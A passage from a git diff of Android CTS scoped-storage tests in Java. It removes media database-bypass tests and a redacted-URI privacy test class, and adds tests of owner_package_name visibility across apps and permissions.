-    public void testManageExternalStorage_targets30_BypassesDatabase() throws Exception {
-        final int fmUid = getContext().getPackageManager().getPackageUid(
-                APP_FM_TARGETS_30.getPackageName(), 0);
-        allowAppOpsToUid(fmUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
-        testAppBypassesDatabaseOps(APP_FM_TARGETS_30);
-    }
-
-    /**
-     * Test that app with SYSTEM_GALLERY role and targeting
-     * targetSDK=current or higher will not bypass database operations by default.
-     */
-    @Test
-    public void testSystemGallery_DoesntBypassDatabase() throws Exception {
-        final int sgUid =
-                getContext().getPackageManager().getPackageUid(
-                        APP_SYSTEM_GALLERY_DEFAULT.getPackageName(), 0);
-        try {
-            allowAppOpsToUid(sgUid, SYSTEM_GALLERY_APPOPS);
-            testAppDoesntBypassDatabaseOps(APP_SYSTEM_GALLERY_DEFAULT);
-        } finally {
-            denyAppOpsToUid(sgUid, SYSTEM_GALLERY_APPOPS);
-        }
-    }
-
-
-    /**
-     * Test that app with SYSTEM_GALLERY role, targeting
-     * targetSDK=current or higher and with requestOptimizedSystemGalleryAccess=true
-     * will bypass database operations.
-     */
-    @Test
-    @SdkSuppress(minSdkVersion = 31, codeName = "S")
-    public void testSystemGallery_WithBypassFlag_BypassesDatabase() throws Exception {
-        final int sgUid = getContext().getPackageManager().getPackageUid(
-                APP_SYSTEM_GALLERY_BYPASS_DB.getPackageName(), 0);
-        allowAppOpsToUid(sgUid, SYSTEM_GALLERY_APPOPS);
-        testAppBypassesDatabaseOps(APP_SYSTEM_GALLERY_BYPASS_DB);
-    }
-
-    /**
-     * Test that app with SYSTEM_GALLERY role and targeting
-     * targetSDK=30 or higher will not bypass database operations by default.
-     */
-    @Test
-    public void testSystemGallery_targets30_DoesntBypassDatabase() throws Exception {
-        final int sgUid = getContext().getPackageManager().getPackageUid(
-                APP_SYSTEM_GALLERY_30.getPackageName(), 0);
-        allowAppOpsToUid(sgUid, SYSTEM_GALLERY_APPOPS);
-        testAppDoesntBypassDatabaseOps(APP_SYSTEM_GALLERY_30);
-    }
-
-    /**
-     * Test that app with SYSTEM_GALLERY role, targeting
-     * targetSDK=30 or higher and with requestOptimizedSystemGalleryAccess=true
-     * will bypass database operations.
-     */
-    @Test
-    @SdkSuppress(minSdkVersion = 31, codeName = "S")
-    public void testSystemGallery_targets30_WithBypassFlag_BypassesDatabase() throws Exception {
-        final int sgUid = getContext().getPackageManager().getPackageUid(
-                APP_SYSTEM_GALLERY_30_BYPASS_DB.getPackageName(), 0);
-        allowAppOpsToUid(sgUid, SYSTEM_GALLERY_APPOPS);
-        testAppBypassesDatabaseOps(APP_SYSTEM_GALLERY_30_BYPASS_DB);
-    }
-
-    private void testAppDoesntBypassDatabaseOps(TestApp app) throws Exception {
-        final File file = new File(getDcimDir(), IMAGE_FILE_NAME);
-        final File renamedFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
-        try {
-            assertThat(createFileAs(app, file.getAbsolutePath())).isTrue();
-            // File path create() added file to database.
-            assertThat(TestUtils.checkDatabaseRowExistsAs(app, file)).isTrue();
-
-            assertThat(renameFileAs(app, file, renamedFile)).isTrue();
-            // File path rename() also updates the database row
-            assertThat(TestUtils.checkDatabaseRowExistsAs(app, file)).isFalse();
-            assertThat(TestUtils.checkDatabaseRowExistsAs(app, renamedFile)).isTrue();
-
-            assertThat(deleteFileAs(app, renamedFile.getAbsolutePath())).isTrue();
-            // File path delete() removes database row.
-            assertThat(TestUtils.checkDatabaseRowExistsAs(app, renamedFile)).isFalse();
-        } finally {
-            if (file.exists()) {
-                deleteFileAsNoThrow(app, file.getAbsolutePath());
-            }
-            if (renamedFile.exists()) {
-                deleteFileAsNoThrow(app, renamedFile.getAbsolutePath());
-            }
-        }
-    }
-
-    private void testAppBypassesDatabaseOps(TestApp app) throws Exception {
-        final File file = new File(getDcimDir(), IMAGE_FILE_NAME);
-        final File renamedFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
-        try {
-            assertThat(createFileAs(app, file.getAbsolutePath())).isTrue();
-            // File path create() didn't add the file to database.
-            assertThat(TestUtils.checkDatabaseRowExistsAs(app, file)).isFalse();
-
-            // Ensure file is added to database.
-            assertNotNull(MediaStore.scanFile(getContentResolver(), file));
-
-            assertThat(renameFileAs(app, file, renamedFile)).isTrue();
-            // Rename() didn't update the database row.
-            assertThat(TestUtils.checkDatabaseRowExistsAs(app, file)).isTrue();
-            assertThat(TestUtils.checkDatabaseRowExistsAs(app, renamedFile)).isFalse();
-
-            // Ensure database is updated with renamed path
-            assertNull(MediaStore.scanFile(getContentResolver(), file));
-            assertNotNull(MediaStore.scanFile(getContentResolver(), renamedFile));
-            assertThat(TestUtils.checkDatabaseRowExistsAs(app, renamedFile)).isTrue();
-
-            assertThat(deleteFileAs(app, renamedFile.getAbsolutePath())).isTrue();
-            // Unlink() didn't remove the database row.
-            assertThat(TestUtils.checkDatabaseRowExistsAs(app, renamedFile)).isTrue();
-        } finally {
-            if (file.exists()) {
-                deleteFileAsNoThrow(app, file.getAbsolutePath());
-            }
-            if (renamedFile.exists()) {
-                deleteFileAsNoThrow(app, renamedFile.getAbsolutePath());
-            }
-            MediaStore.scanFile(getContentResolver(), file);
-            MediaStore.scanFile(getContentResolver(), renamedFile);
-        }
-    }
-}
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/PackageNameVisibilityTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/PackageNameVisibilityTest.java
index b09c06a..c4c7def 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/PackageNameVisibilityTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/PackageNameVisibilityTest.java
@@ -47,7 +47,7 @@
 
     /**
      * The idea of this test is to create 2 media files by TEST_APP_A and TEST_APP_B and then
-     * query them from all 4 different apps to verify owner_package_name filtering.
+     * query them from different apps to verify owner_package_name filtering.
      * 1. Only owner_package_name of sMediaUriCreatedByAppB should be
      * visible to TEST_APP_WITH_APP_B_IN_QUERIES_TAG.
      * 2. Owner_package_name of both media files should be visible to
@@ -64,13 +64,22 @@
             "TestAppWithQueryAllPackagesPermission",
             "android.scopedstorage.cts.testapp.withqueryallpackagestag", 1, false,
             "CtsTestAppWithQueryAllPackagesPermission.apk");
-    private static final TestApp TEST_APP_A = new TestApp("TestAppFileManager",
-            "android.scopedstorage.cts.testapp.filemanager", 1, false,
-            "CtsScopedStorageTestAppFileManager.apk");
+    private static final TestApp TEST_APP_A = new TestApp("TestAppA",
+            "android.scopedstorage.cts.testapp.A34.withres", 1, false,
+            "CtsScopedStorageTestAppA34.apk");
 
     private static final TestApp TEST_APP_B = new TestApp("TestAppB",
-            "android.scopedstorage.cts.testapp.B.noperms", 1, false,
-            "CtsScopedStorageTestAppB.apk");
+            "android.scopedstorage.cts.testapp.B34.withres", 1, false,
+            "CtsScopedStorageTestAppB34.apk");
+
+    private static final TestApp TEST_APP_TARGET_BELOW_34 = new TestApp("TestAppDLegacy",
+            "android.scopedstorage.cts.testapp.D", 1, false,
+            "CtsScopedStorageTestAppDLegacy.apk");
+
+    private static final TestApp TEST_APP_WITH_ACCESS_MEDIA_OWNER_PACKAGE_NAME = new TestApp(
+            "TestAppWithAccessMediaOwnerPackageNamePermission",
+            "android.scopedstorage.cts.testapp.WithAccessMediaOwnerPackageNamePerm", 1,
+            false, "CtsTestAppWithAccessMediaOwnerPackageNamePermission.apk");
 
     private static Uri sMediaUriCreatedByAppA;
     private static Uri sMediaUriCreatedByAppB;
@@ -231,6 +240,51 @@
         assertEquals(1, resultSize);
     }
 
+    @Test
+    public void testQueryProjWithAccessMediaOwnerPackageName() throws Exception {
+        final String[] ownerPackageNames = TestUtils.queryForOwnerPackageNamesAs(
+                TEST_APP_WITH_ACCESS_MEDIA_OWNER_PACKAGE_NAME, sMediaUriCreatedByAppA);
+
+        // Test app with ACCESS_MEDIA_OWNER_PACKAGE_NAME should
+        // be able to query owner_package_name of any media file
+        assertEquals(Arrays.asList(TEST_APP_A.getPackageName()), Arrays.asList(ownerPackageNames));
+    }
+
+    @Test
+    public void testQueryArgsWithAccessMediaOwnerPackageName() throws Exception {
+        Bundle queryArgs = new Bundle();
+        queryArgs.putString(ContentResolver.QUERY_ARG_SQL_SELECTION,
+                MediaStore.MediaColumns.OWNER_PACKAGE_NAME + " = ?");
+        queryArgs.putStringArray(ContentResolver.QUERY_ARG_SQL_SELECTION_ARGS,
+                new String[]{TEST_APP_B.getPackageName()});
+
+        int resultSize = TestUtils.queryWithArgsAs(TEST_APP_WITH_ACCESS_MEDIA_OWNER_PACKAGE_NAME,
+                sMediaUriCreatedByAppB, queryArgs);
+
+        // Test app with ACCESS_MEDIA_OWNER_PACKAGE_NAME should be able
+        // to have owner_package_name in query arguments without any restrictions
+        assertEquals(1, resultSize);
+    }
+
+    @Test
+    public void testQueryWithNullProjection() throws Exception {
+        Bundle result = TestUtils.queryMediaByUriAs(TEST_APP_WITH_APP_B_IN_QUERIES_TAG,
+                sMediaUriCreatedByAppA, null);
+
+        // Owner_package_name is nullified even when passing null as a projection
+        assertEquals(null,
+                result.getString(MediaStore.Images.ImageColumns.OWNER_PACKAGE_NAME));
+    }
+
+    @Test
+    public void testTargetVersionBelow34() throws Exception {
+        final String[] ownerPackageNames = TestUtils.queryForOwnerPackageNamesAs(
+                TEST_APP_TARGET_BELOW_34, sMediaUriCreatedByAppA);
+
+        // Owner_package_name is not filtered because the querying app targets version below 34
+        assertEquals(Arrays.asList(TEST_APP_A.getPackageName()), Arrays.asList(ownerPackageNames));
+    }
+
     private static Uri createMediaAs(TestApp testApp) {
         try {
             return TestUtils.createImageEntryForUriAs(testApp,
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java
deleted file mode 100644
index 4b17b65..0000000
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java
+++ /dev/null
@@ -1,594 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.scopedstorage.cts.device;
-
-
-import static android.content.Intent.FLAG_GRANT_READ_URI_PERMISSION;
-import static android.database.Cursor.FIELD_TYPE_BLOB;
-import static android.scopedstorage.cts.lib.TestUtils.assertThrows;
-import static android.scopedstorage.cts.lib.TestUtils.canOpenRedactedUriForWrite;
-import static android.scopedstorage.cts.lib.TestUtils.canQueryOnUri;
-import static android.scopedstorage.cts.lib.TestUtils.checkPermission;
-import static android.scopedstorage.cts.lib.TestUtils.forceStopApp;
-import static android.scopedstorage.cts.lib.TestUtils.getContentResolver;
-import static android.scopedstorage.cts.lib.TestUtils.grantPermission;
-import static android.scopedstorage.cts.lib.TestUtils.installAppWithStoragePermissions;
-import static android.scopedstorage.cts.lib.TestUtils.isFileDescriptorRedacted;
-import static android.scopedstorage.cts.lib.TestUtils.isFileOpenRedacted;
-import static android.scopedstorage.cts.lib.TestUtils.setShouldForceStopTestApp;
-import static android.scopedstorage.cts.lib.TestUtils.uninstallAppNoThrow;
-
-import static androidx.test.InstrumentationRegistry.getContext;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-
-import android.Manifest;
-import android.content.ContentValues;
-import android.content.Intent;
-import android.database.Cursor;
-import android.media.ExifInterface;
-import android.net.Uri;
-import android.scopedstorage.cts.lib.ScopedStorageBaseDeviceTest;
-import android.os.Bundle;
-import android.os.Environment;
-import android.os.FileUtils;
-import android.os.ParcelFileDescriptor;
-import android.provider.MediaStore;
-import android.system.Os;
-
-import androidx.test.filters.SdkSuppress;
-
-import com.android.cts.install.lib.TestApp;
-
-import org.junit.AfterClass;
-import org.junit.BeforeClass;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-
-import java.io.File;
-import java.io.FileDescriptor;
-import java.io.FileNotFoundException;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collection;
-import java.util.List;
-
-/**
- * We are in process of splitting CtsScopedStorageDeviceOnlyTest module into multiple ones.
- * This is a temporary test class, and it will be deleted
- * after all the links to new modules are created.
- */
-@RunWith(Parameterized.class)
-@SdkSuppress(minSdkVersion = 31, codeName = "S")
-public class RedactUriDeviceTest extends ScopedStorageBaseDeviceTest {
-
-    /**
-     * To help avoid flaky tests, give ourselves a unique nonce to be used for
-     * all filesystem paths, so that we don't risk conflicting with previous
-     * test runs.
-     */
-    static final String NONCE = String.valueOf(System.nanoTime());
-
-    static final String IMAGE_FILE_NAME = "ScopedStorageDeviceTest_file_" + NONCE + ".jpg";
-
-    static final String FUZZER_HEIC_FILE_NAME =
-            "ScopedStorageDeviceTest_file_fuzzer_" + NONCE + ".heic";
-
-    // An app with no permissions
-    private static final TestApp APP_B_NO_PERMS = new TestApp("TestAppB",
-            "android.scopedstorage.cts.testapp.B.noperms", 1, false,
-            "CtsScopedStorageTestAppB.apk");
-
-    // The following apps are not installed at test startup - please install before using.
-    private static final TestApp APP_C = new TestApp("TestAppC",
-            "android.scopedstorage.cts.testapp.C", 1, false, "CtsScopedStorageTestAppC.apk");
-
-    @Parameterized.Parameter(0)
-    public String mVolumeName;
-
-    /** Parameters data. */
-    @Parameterized.Parameters(name = "volume={0}")
-    public static Iterable<? extends Object> data() {
-        return getTestParameters();
-    }
-
-    @BeforeClass
-    public static void setupApps() {
-        // Installed by target preparer
-        assertThat(checkPermission(APP_B_NO_PERMS,
-                Manifest.permission.READ_EXTERNAL_STORAGE)).isFalse();
-        setShouldForceStopTestApp(false);
-    }
-
-    @AfterClass
-    public static void destroy() {
-        setShouldForceStopTestApp(true);
-    }
-
-    @Test
-    public void testRedactedUri_single() throws Exception {
-        final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
-
-        try {
-            final Uri uri = MediaStore.scanFile(getContentResolver(), img);
-            final Uri redactedUri = MediaStore.getRedactedUri(getContentResolver(), uri);
-            testRedactedUriCommon(uri, redactedUri);
-        } finally {
-            img.delete();
-        }
-    }
-
-    @Test
-    public void testRedactedUri_list() throws Exception {
-        List<Uri> uris = new ArrayList<>();
-        List<File> files = new ArrayList<>();
-
-        try {
-            for (int i = 0; i < 10; i++) {
-                File file = stageImageFileWithMetadata("img_metadata" + String.valueOf(
-                        System.nanoTime()) + i + ".jpg");
-                files.add(file);
-                uris.add(MediaStore.scanFile(getContentResolver(), file));
-            }
-
-            final Collection<Uri> redactedUris = MediaStore.getRedactedUri(getContentResolver(),
-                    uris);
-            int i = 0;
-            for (Uri redactedUri : redactedUris) {
-                Uri uri = uris.get(i++);
-                testRedactedUriCommon(uri, redactedUri);
-            }
-        } finally {
-            files.forEach(file -> file.delete());
-        }
-    }
-
-    @Test
-    public void testQueryOnRedactionUri() throws Exception {
-        final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
-        final Uri uri = MediaStore.scanFile(getContentResolver(), img);
-        final Uri redactedUri = MediaStore.getRedactedUri(getContentResolver(), uri);
-        final Cursor uriCursor = getContentResolver().query(uri, null, null, null);
-        final String redactedUriDir = ".transforms/synthetic/redacted";
-        final String redactedUriDirAbsolutePath =
-                Environment.getExternalStorageDirectory() + "/" + redactedUriDir;
-        try {
-            assertNotNull(uriCursor);
-            assertThat(uriCursor.moveToFirst()).isTrue();
-
-            final Cursor redactedUriCursor = getContentResolver().query(redactedUri, null, null,
-                    null);
-            assertNotNull(redactedUriCursor);
-            assertThat(redactedUriCursor.moveToFirst()).isTrue();
-
-            assertEquals(redactedUriCursor.getColumnCount(), uriCursor.getColumnCount());
-
-            final String data = getStringFromCursor(redactedUriCursor,
-                    MediaStore.MediaColumns.DATA);
-            final String redactedUriDisplayName = redactedUri.getLastPathSegment() + ".jpg";
-            assertEquals(redactedUriDirAbsolutePath + "/" + redactedUriDisplayName, data);
-
-            final String name = getStringFromCursor(redactedUriCursor,
-                    MediaStore.MediaColumns.DISPLAY_NAME);
-            assertEquals(redactedUriDisplayName, name);
-
-            final String relativePath = getStringFromCursor(redactedUriCursor,
-                    MediaStore.MediaColumns.RELATIVE_PATH);
-            assertEquals(redactedUriDir, relativePath);
-
-            final String bucketDisplayName = getStringFromCursor(redactedUriCursor,
-                    MediaStore.MediaColumns.BUCKET_DISPLAY_NAME);
-            assertEquals(redactedUriDir, bucketDisplayName);
-
-            final String docId = getStringFromCursor(redactedUriCursor,
-                    MediaStore.MediaColumns.DOCUMENT_ID);
-            assertNull(docId);
-
-            final String insId = getStringFromCursor(redactedUriCursor,
-                    MediaStore.MediaColumns.INSTANCE_ID);
-            assertNull(insId);
-
-            final String bucId = getStringFromCursor(redactedUriCursor,
-                    MediaStore.MediaColumns.BUCKET_ID);
-            assertNull(bucId);
-
-            final Collection<String> updatedCols = Arrays.asList(MediaStore.MediaColumns._ID,
-                    MediaStore.MediaColumns.DISPLAY_NAME,
-                    MediaStore.MediaColumns.RELATIVE_PATH,
-                    MediaStore.MediaColumns.BUCKET_DISPLAY_NAME,
-                    MediaStore.MediaColumns.DATA,
-                    MediaStore.MediaColumns.DOCUMENT_ID,
-                    MediaStore.MediaColumns.INSTANCE_ID,
-                    MediaStore.MediaColumns.BUCKET_ID);
-            for (String colName : uriCursor.getColumnNames()) {
-                if (!updatedCols.contains(colName)) {
-                    if (uriCursor.getType(uriCursor.getColumnIndex(colName)) == FIELD_TYPE_BLOB) {
-                        assertThat(
-                                Arrays.equals(uriCursor.getBlob(uriCursor.getColumnIndex(colName)),
-                                        redactedUriCursor.getBlob(redactedUriCursor.getColumnIndex(
-                                                colName)))).isTrue();
-                    } else {
-                        assertEquals(getStringFromCursor(uriCursor, colName),
-                                getStringFromCursor(redactedUriCursor, colName));
-                    }
-                }
-            }
-        } finally {
-            img.delete();
-        }
-    }
-
-    /*
-     * Verify that app can't open the shared redacted URI for write.
-     **/
-    @Test
-    public void testSharedRedactedUri_openFdForWrite() throws Exception {
-        forceStopApp(APP_B_NO_PERMS.getPackageName());
-        final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
-        try {
-            Uri redactedUri = shareAndGetRedactedUri(img, APP_B_NO_PERMS);
-            assertThrows(UnsupportedOperationException.class,
-                    () -> canOpenRedactedUriForWrite(APP_B_NO_PERMS, redactedUri));
-        } finally {
-            img.delete();
-        }
-    }
-
-    /*
-     * Verify that app with correct permission can open the shared redacted URI for read in
-     * redacted mode.
-     **/
-    @Test
-    public void testSharedRedactedUri_openFdForRead() throws Exception {
-        forceStopApp(APP_B_NO_PERMS.getPackageName());
-        final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
-        try {
-            final Uri redactedUri = shareAndGetRedactedUri(img, APP_B_NO_PERMS);
-            assertThat(isFileDescriptorRedacted(APP_B_NO_PERMS, redactedUri)).isTrue();
-        } finally {
-            img.delete();
-        }
-    }
-
-    /*
-     * Verify that app with correct permission can open the shared redacted URI for read in
-     * redacted mode.
-     **/
-    @Test
-    public void testSharedRedactedUri_openFileForRead() throws Exception {
-        forceStopApp(APP_B_NO_PERMS.getPackageName());
-        final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
-        try {
-            Uri redactedUri = shareAndGetRedactedUri(img, APP_B_NO_PERMS);
-            assertThat(isFileOpenRedacted(APP_B_NO_PERMS, redactedUri)).isTrue();
-        } finally {
-            img.delete();
-        }
-    }
-
-    /*
-     * Verify that the app with redacted URI granted can query it.
-     **/
-    @Test
-    public void testSharedRedactedUri_query() throws Exception {
-        forceStopApp(APP_B_NO_PERMS.getPackageName());
-        final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
-        try {
-            Uri redactedUri = shareAndGetRedactedUri(img, APP_B_NO_PERMS);
-            assertThat(canQueryOnUri(APP_B_NO_PERMS, redactedUri)).isTrue();
-        } finally {
-            img.delete();
-        }
-    }
-
-    /*
-     * Verify that for app with AML permission shared redacted URI opens for read in redacted mode.
-     **/
-    @Test
-    public void testSharedRedactedUri_openFileForRead_withLocationPerm() throws Exception {
-        final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
-        try {
-            // Install test app
-            installAppWithStoragePermissions(APP_C);
-            grantPermission(APP_C.getPackageName(), Manifest.permission.ACCESS_MEDIA_LOCATION);
-
-            Uri redactedUri = shareAndGetRedactedUri(img, APP_C);
-            assertThat(isFileOpenRedacted(APP_C, redactedUri)).isTrue();
-        } finally {
-            img.delete();
-            uninstallAppNoThrow(APP_C);
-        }
-    }
-
-    /*
-     * Verify that for app with AML permission shared redacted URI opens for read in redacted mode.
-     **/
-    @Test
-    public void testSharedRedactedUri_openFdForRead_withLocationPerm() throws Exception {
-        final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
-        try {
-            // Install test app
-            installAppWithStoragePermissions(APP_C);
-            grantPermission(APP_C.getPackageName(), Manifest.permission.ACCESS_MEDIA_LOCATION);
-
-            Uri redactedUri = shareAndGetRedactedUri(img, APP_C);
-            assertThat(isFileDescriptorRedacted(APP_C, redactedUri)).isTrue();
-        } finally {
-            img.delete();
-            uninstallAppNoThrow(APP_C);
-        }
-    }
-
-    /*
-     * Verify that the test app can't access unshared redacted uri via file descriptor
-     **/
-    @Test
-    public void testUnsharedRedactedUri_openFdForRead() throws Exception {
-        forceStopApp(APP_B_NO_PERMS.getPackageName());
-        final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
-        try {
-            // Install test app
-            installAppWithStoragePermissions(APP_C);
-
-            final Uri redactedUri = getRedactedUri(img);
-            // APP_C has R_E_S, so should have access to redactedUri
-            assertThat(isFileDescriptorRedacted(APP_C, redactedUri)).isTrue();
-            assertThrows(SecurityException.class,
-                    () -> isFileDescriptorRedacted(APP_B_NO_PERMS, redactedUri));
-        } finally {
-            img.delete();
-            uninstallAppNoThrow(APP_C);
-        }
-    }
-
-    /*
-     * Verify that the test app can't access unshared redacted uri via file path
-     **/
-    @Test
-    public void testUnsharedRedactedUri_openFileForRead() throws Exception {
-        forceStopApp(APP_B_NO_PERMS.getPackageName());
-        final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
-        try {
-            // Install test app
-            installAppWithStoragePermissions(APP_C);
-
-            final Uri redactedUri = getRedactedUri(img);
-            // APP_C has R_E_S
-            assertThat(isFileOpenRedacted(APP_C, redactedUri)).isTrue();
-            assertThrows(IOException.class, () -> isFileOpenRedacted(APP_B_NO_PERMS, redactedUri));
-        } finally {
-            img.delete();
-            uninstallAppNoThrow(APP_C);
-        }
-    }
-
-    @Test
-    public void testGrantUriPermissionsForRedactedUri() throws Exception {
-        final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
-        final Uri redactedUri = getRedactedUri(img);
-        try {
-            getContext().grantUriPermission(APP_B_NO_PERMS.getPackageName(), redactedUri,
-                    FLAG_GRANT_READ_URI_PERMISSION);
-            assertThrows(SecurityException.class, () ->
-                    getContext().grantUriPermission(APP_B_NO_PERMS.getPackageName(), redactedUri,
-                            Intent.FLAG_GRANT_WRITE_URI_PERMISSION));
-        } finally {
-            img.delete();
-        }
-    }
-
-    @Test
-    public void testDisallowedOperationsOnRedactedUri() throws Exception {
-        final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
-        final Uri redactedUri = getRedactedUri(img);
-        try {
-            ContentValues cv = new ContentValues();
-            cv.put(MediaStore.MediaColumns.DATE_ADDED, 1);
-            assertEquals(0, getContentResolver().update(redactedUri, new ContentValues(),
-                    new Bundle()));
-            assertEquals(0, getContentResolver().delete(redactedUri, new Bundle()));
-        } finally {
-            img.delete();
-        }
-    }
-
-    @Test
-    public void testOpenOnRedactedUri_file() throws Exception {
-        final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
-        final Uri redactedUri = getRedactedUri(img);
-        try {
-            assertUriIsUnredacted(img);
-
-            final Cursor redactedUriCursor = getRedactedCursor(redactedUri);
-            File file = new File(
-                    getStringFromCursor(redactedUriCursor, MediaStore.MediaColumns.DATA));
-            ExifInterface redactedExifInf = new ExifInterface(file);
-            assertUriIsRedacted(redactedExifInf);
-
-            assertThrows(FileNotFoundException.class, () -> new FileOutputStream(file));
-        } finally {
-            img.delete();
-        }
-    }
-
-    @Test
-    public void testOpenOnRedactedUri_write() throws Exception {
-        final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
-        final Uri redactedUri = getRedactedUri(img);
-        try {
-            assertThrows(UnsupportedOperationException.class,
-                    () -> getContentResolver().openFileDescriptor(redactedUri,
-                            "w"));
-        } finally {
-            img.delete();
-        }
-    }
-
-    @Test
-    public void testOpenOnRedactedUri_inputstream() throws Exception {
-        final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
-        final Uri redactedUri = getRedactedUri(img);
-        try {
-            assertUriIsUnredacted(img);
-
-            try (InputStream is = getContentResolver().openInputStream(redactedUri)) {
-                ExifInterface redactedExifInf = new ExifInterface(is);
-                assertUriIsRedacted(redactedExifInf);
-            }
-        } finally {
-            img.delete();
-        }
-    }
-
-    @Test
-    public void testOpenOnRedactedUri_read() throws Exception {
-        final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
-        final Uri redactedUri = getRedactedUri(img);
-        try {
-            assertUriIsUnredacted(img);
-
-            try (ParcelFileDescriptor pfd =
-                         getContentResolver().openFileDescriptor(redactedUri, "r")) {
-                FileDescriptor fd = pfd.getFileDescriptor();
-                ExifInterface redactedExifInf = new ExifInterface(fd);
-                assertUriIsRedacted(redactedExifInf);
-            }
-        } finally {
-            img.delete();
-        }
-    }
-
-    @Test
-    public void testOpenOnRedactedUri_readFuzzer() throws Exception {
-        final File img = stageFuzzerImageFileWithMetadata(FUZZER_HEIC_FILE_NAME);
-        final Uri redactedUri = getRedactedUri(img);
-        try {
-            assertUriIsUnredacted(img);
-
-            try (ParcelFileDescriptor pfd =
-                         getContentResolver().openFileDescriptor(redactedUri, "r")) {
-                FileDescriptor fd = pfd.getFileDescriptor();
-                int bufSize = 0x1000000;
-                byte[] data = new byte[bufSize];
-                int fileSize = Os.read(fd, data, 0, bufSize);
-                assertUriIsRedacted(data, fileSize);
-            }
-        } finally {
-            img.delete();
-        }
-    }
-
-    private void testRedactedUriCommon(Uri uri, Uri redactedUri) {
-        assertEquals(redactedUri.getAuthority(), uri.getAuthority());
-        assertEquals(redactedUri.getScheme(), uri.getScheme());
-        assertNotEquals(redactedUri.getPath(), uri.getPath());
-        assertNotEquals(redactedUri.getPathSegments(), uri.getPathSegments());
-
-        final String uriId = redactedUri.getLastPathSegment();
-        assertThat(uriId.startsWith("RUID")).isTrue();
-        assertEquals(uriId.length(), 36);
-    }
-
-    private Uri shareAndGetRedactedUri(File file, TestApp testApp) {
-        final Uri redactedUri = getRedactedUri(file);
-        getContext().grantUriPermission(testApp.getPackageName(), redactedUri,
-                FLAG_GRANT_READ_URI_PERMISSION);
-
-        return redactedUri;
-    }
-
-    private Uri getRedactedUri(File file) {
-        final Uri uri = MediaStore.scanFile(getContentResolver(), file);
-        return MediaStore.getRedactedUri(getContentResolver(), uri);
-    }
-
-    private void assertUriIsUnredacted(File img) throws Exception {
-        final ExifInterface exifInterface = new ExifInterface(img);
-        assertNotEquals(exifInterface.getGpsDateTime(), -1);
-
-        float[] latLong = new float[]{0, 0};
-        exifInterface.getLatLong(latLong);
-        assertNotEquals(latLong[0], 0);
-        assertNotEquals(latLong[1], 0);
-    }
-
-    private void assertUriIsRedacted(ExifInterface redactedExifInf) {
-        assertEquals(redactedExifInf.getGpsDateTime(), -1);
-        float[] latLong = new float[]{0, 0};
-        redactedExifInf.getLatLong(latLong);
-        assertEquals(latLong[0], 0.0, 0.0);
-        assertEquals(latLong[1], 0.0, 0.0);
-    }
-
-    private void assertUriIsRedacted(byte[] data, int fileSize) {
-        // Data in redaction ranges should be zero.
-        int[] start = new int[]{50538, 712941, 712965, 712989, 713033, 713101};
-        int[] end = new int[]{711958, 712943, 712967, 712990, 713100, 713125};
-
-        assertTrue(fileSize == 4407744);
-        for (int index = 0; index < start.length && index < end.length; index++) {
-            for (int c = start[index]; c < end[index]; c++) {
-                assertTrue("It should be zero!", data[c] == (byte) 0);
-            }
-        }
-    }
-
-    private Cursor getRedactedCursor(Uri redactedUri) {
-        Cursor redactedUriCursor = getContentResolver().query(redactedUri, null, null, null);
-        assertNotNull(redactedUriCursor);
-        assertThat(redactedUriCursor.moveToFirst()).isTrue();
-
-        return redactedUriCursor;
-    }
-
-    private String getStringFromCursor(Cursor c, String colName) {
-        return c.getString(c.getColumnIndex(colName));
-    }
-
-    private File stageImageFileWithMetadata(String name) throws Exception {
-        return stageImageFileWithMetadata(name, R.raw.img_with_metadata);
-    }
-
-    private File stageFuzzerImageFileWithMetadata(String name) throws Exception {
-        return stageImageFileWithMetadata(name, R.raw.fuzzer);
-    }
-
-    private File stageImageFileWithMetadata(String name, int sourceId) throws Exception {
-        final File img = new File(
-                Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DCIM), name);
-
-        try (InputStream in =
-                     getContext().getResources().openRawResource(sourceId);
-             OutputStream out = new FileOutputStream(img)) {
